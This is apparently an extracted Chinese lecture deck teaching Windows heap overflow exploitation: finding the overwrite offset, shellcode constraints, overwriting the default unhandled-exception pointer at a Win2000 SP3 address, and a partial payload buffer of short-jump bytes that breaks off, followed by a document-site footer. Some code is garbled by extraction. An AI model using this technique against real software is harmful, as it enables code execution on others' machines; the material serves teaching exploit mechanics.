吴少华
电子信息学院;1.堆溢出初探;1. 堆溢出初探;在Windows下,用户要求分配堆时,可以通过一系列函数来完成。可以使用Win32的堆调用API函数,或者C/C++运行期库的函数等。;2 RtlAllcoateHeap的失误;2.1 有堆溢出问题的程序;在mybuf数组很小的时候,程序没有任何问题,我们稍微改变下程序,只是加长mybuf的长度,变为240个A,重新生成RELEASE版的程序,在命令行下运行它。;定位溢出点
for(i=0; i240; i++)
{
mybuf[i] = 100 + i % 10;
};计算溢出点
(0x79-0x64)×10+(0x66-0x64)=21×10+2=212
验证一下,指定mybuf第212开始的四个字节是‘BBBB’,其余全部为‘A’。如果我们的计算正确,那么应该是0x42(B的十六进制)覆盖到溢出点。
for(i=0; i240; i++)
{
mybuf[i] = A;
}
mybuf[212] = B;
mybuf[213] = B;
mybuf[214] = B;
mybuf[215] = B;
;堆溢出的shellcode有如下特殊要求:
(1)如果溢出的是默认堆,则不能使用网络相关的函数,比如开端口、反连等ShellCode都不能使用;
(2)可以想办法在ShellCode中恢复默认堆,然后再使用网络相关ShellCode,但有时恢复堆后仍不能用网络编程的函数;
(3)新建一个堆,不用默认堆;
(4)干脆就不用网络相关的ShellCode,只用添加用户一类的ShellCode。
编写一个打开DOS窗口的SHELLCODE
;2.4 跳转到ShellCode;溢出后的结构如下图所示;出错时程序就会终止,如果还要执行下一操作 mov [eax+4], ecx ,就等于 mov [AAAA+4],BBBB ,即 mov [0,0了,就是把0入到0地址中,通常也是会出错的。;2.5 覆盖默认异常处理;但是这里的where需要是一个确切的地址值,fs:[0]对于单线程是比较固定的,但对于多线程却是不定的。
fs:[0]地址会变,但系统的默认异常处理函数却不会变!我们就使用它。
默认异常处理
当链表中所有的异常处理函数都无法处理异常时,系统就会使用默认异常处理指针来处理异常情况。
默认异常处理指针通过如下函数来设置:
SetUnhandledExceptionFilter(??LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter)
默认异常处理指针通过如下函数来调用:
LONG UnhandledExceptionFilter(STRUCT _EXCEPTION_POINTERS *ExceptionInfo);
它负责显示一个错误对话框,来指出出错的原因,这就是我们一般的程序出错时显示错误对话框的原因。;用IDA打开kernel32分析,在Functions中选中‘SetUnhandledExceptionFilter’就会跳到如下图的代码。意思是把异常处理程序地址放入0x77EB63B4中,即Win2000 SP3默认异常的处理指针是0x77EC044c。;注意,这里有个小问题, mov[ecx],eax 后,跟着还有一句 mov [eax+4], ecx ,这样不但把shellcode地址写进默认异常处理地址中,也会把默认异常处理地址写进[shellcode地址+4]的内存单元当中,把Shellcode中的指令破坏了。
要解决这个问题,我们可以用 JMP 6 这样的指令来代替nop,这样就能跳过后面被破坏的字节。
程序中先是208字节覆盖掉‘buf1’的空间和空堆的管理结构;
然后是4字节ShellCode的地址,最后是4字节异常处理地址。如下图。 ;char mybuf[240] =
\xeb\x06
\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06
\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06
\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06
\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06
\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06
\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06
\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06
\xeb\x06\xeb\x06\xeb\
您可能关注的文档
最近下载
- 《变幻的空间》 课件 2026浙美版美术八年级下册.ppt
- 2026年中国豆制品市场深度分析与发展动向研究报告.docx
- 学位论文___土木工程(结构工程)中学学生宿舍楼.doc VIP
- 初中生数学学习困难学生的心理辅导与教育干预策略教学研究课题报告.docx
- 2026浙美版美术八年级下册第二单元第4课《黑白的魅力》课件.pptx
- 职业病诊断医师考试题库及答案.docx VIP
- 火力发电厂典型事故案例汇编.pdf VIP
- 语文学习困难学生帮扶方案.docx VIP
- 2025年四川省广安市高考物理二诊试卷(含详细答案解析).docx VIP
- 全国大学生数学建模竞赛b题全国优秀论文.docx VIP
原创力文档

文档评论(0)